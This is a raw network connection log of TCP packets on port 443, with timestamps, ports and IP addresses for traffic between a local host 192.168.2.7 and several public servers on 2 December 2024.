Dec 2, 2024 01:34:48.016824961 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.017486095 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.017524004 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.017534971 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.017607927 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.017636061 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.017636061 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.041819096 CET	443	49886	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:48.042427063 CET	49886	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:48.042457104 CET	443	49886	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:48.042845964 CET	443	49886	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:48.043323040 CET	49886	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:48.043389082 CET	443	49886	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:48.043811083 CET	49886	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:48.046365023 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.046452999 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.046591997 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.046612024 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.047396898 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.047405005 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.047442913 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.047465086 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.047477961 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.047493935 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.047560930 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.047574997 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.089571953 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.089643002 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.089821100 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.089854956 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.089905977 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.090104103 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.090187073 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.090240002 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.091200113 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.091250896 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.091301918 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.091330051 CET	443	49886	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:48.091340065 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.094119072 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.094129086 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.094151020 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.094202042 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.094233990 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.094259024 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.094296932 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.094465971 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.124782085 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.124804020 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.124972105 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.124994993 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.126364946 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.126379013 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.126414061 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.126436949 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.126545906 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.126594067 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.126658916 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.126806021 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.126857996 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.126880884 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.126931906 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.127094030 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.127111912 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.127213001 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.127228975 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.128777981 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.128828049 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.129050016 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.129136086 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.129165888 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.129165888 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.129194021 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.129211903 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.131220102 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.131468058 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.131526947 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.131551027 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.131566048 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.131576061 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.131616116 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.131623983 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.131642103 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.131674051 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.131681919 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.131704092 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.131721973 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.131742954 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.131755114 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.131788015 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.133265972 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.133337021 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.133367062 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.133758068 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.133789062 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.133930922 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.133960962 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.135442972 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.135560989 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.135951996 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.135978937 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.135993004 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.136091948 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.136133909 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.140299082 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.140362978 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.140460014 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.140497923 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.140693903 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.187325954 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.213282108 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.213422060 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.213444948 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.213453054 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.213473082 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.213566065 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.213593006 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.213633060 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.214234114 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.214248896 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.214267969 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.214277029 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.214286089 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.214339018 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.214348078 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.249594927 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.249685049 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.249803066 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.249833107 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.249912977 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.250854015 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.256130934 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.256195068 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.256314993 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.256352901 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.256448030 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.256462097 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.256792068 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.256851912 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.256885052 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.256927013 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.256942034 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.256962061 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.261447906 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.261504889 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.261604071 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.261627913 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.261673927 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.261684895 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.261893988 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.261945009 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.262018919 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.262028933 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.262043953 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.266521931 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.266549110 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.266654015 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.266690969 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.266757011 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.266772985 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.283896923 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.284055948 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.290034056 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.290173054 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.290205002 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.327337027 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.363683939 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.363835096 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.363878012 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.363890886 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.364011049 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.364039898 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.364202023 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.387608051 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.387725115 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.387867928 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.387883902 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.387940884 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.387969971 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.388189077 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.388761997 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.400285006 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.400309086 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.400325060 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.400341988 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.400371075 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.400383949 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.400394917 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.400428057 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.400463104 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.400470018 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.400489092 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.400517941 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.400572062 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.416706085 CET	443	49885	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:48.419352055 CET	443	49885	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:48.421427011 CET	49885	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:48.443335056 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.456897020 CET	49885	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:48.456921101 CET	443	49885	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:48.458607912 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.458625078 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.458656073 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.458695889 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.458712101 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.458750010 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.458863974 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.458905935 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.458966970 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.459016085 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.459038973 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.483829021 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.499917984 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.499934912 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.499963045 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.499974012 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.500026941 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.500068903 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.500107050 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.500144005 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.500150919 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.500173092 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.500205040 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.500212908 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.500233889 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.500246048 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.500255108 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.500302076 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.517340899 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.524257898 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.524288893 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.525799990 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.525808096 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.525850058 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.525870085 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.525887966 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.525901079 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.525916100 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.525929928 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.525947094 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.525957108 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.525976896 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.526001930 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.526041031 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.526046991 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.526060104 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.526073933 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.526094913 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.526103973 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.526108027 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.526129007 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.526141882 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.526153088 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.526165009 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.526186943 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.526210070 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.526230097 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.526238918 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.542624950 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.542646885 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.542670965 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.542712927 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.542725086 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.542737007 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.542752028 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.542762041 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.542784929 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.542820930 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.542828083 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.542839050 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.542846918 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.542866945 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.542876005 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.542890072 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.548676014 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:48.587347984 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:48.872194052 CET	443	49886	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:48.872226000 CET	443	49886	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:48.872304916 CET	49886	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:48.872344017 CET	443	49886	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:48.873552084 CET	49886	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:48.873604059 CET	443	49886	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:48.873827934 CET	443	49886	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:48.873848915 CET	49886	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:48.874026060 CET	49886	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:49.249556065 CET	443	49887	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:49.250360012 CET	49887	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:49.250391006 CET	443	49887	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:49.251414061 CET	49887	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:49.251420975 CET	443	49887	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:49.321320057 CET	443	49888	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:49.321758032 CET	49888	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:49.321774960 CET	443	49888	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:49.322957039 CET	49888	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:49.322962999 CET	443	49888	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:49.389692068 CET	443	49890	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:49.390783072 CET	49890	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:49.390799046 CET	443	49890	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:49.391640902 CET	49890	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:49.391647100 CET	443	49890	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:49.450238943 CET	443	49889	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:49.451421022 CET	49889	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:49.451443911 CET	443	49889	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:49.452037096 CET	49889	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:49.452044964 CET	443	49889	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:49.545775890 CET	443	49891	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:49.546699047 CET	49891	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:49.546736956 CET	443	49891	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:49.548019886 CET	49891	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:49.548019886 CET	49891	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:49.548029900 CET	443	49891	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:49.548046112 CET	443	49891	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:49.556349039 CET	443	49892	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:49.556766033 CET	49892	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:49.556808949 CET	443	49892	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:49.557200909 CET	49892	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:49.557205915 CET	443	49892	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:49.704324007 CET	443	49887	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:49.704415083 CET	443	49887	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:49.704466105 CET	49887	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:49.704705954 CET	49887	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:49.704727888 CET	443	49887	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:49.704737902 CET	49887	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:49.704745054 CET	443	49887	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:49.707890034 CET	49893	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:49.707945108 CET	443	49893	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:49.708028078 CET	49893	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:49.708275080 CET	49893	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:49.708292007 CET	443	49893	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:49.756134987 CET	443	49888	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:49.756215096 CET	443	49888	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:49.756337881 CET	49888	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:49.756535053 CET	49888	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:49.756556988 CET	443	49888	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:49.756570101 CET	49888	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:49.756576061 CET	443	49888	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:49.759893894 CET	49894	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:49.759944916 CET	443	49894	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:49.760067940 CET	49894	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:49.760247946 CET	49894	443	192.168.2.7	13.107.246.63
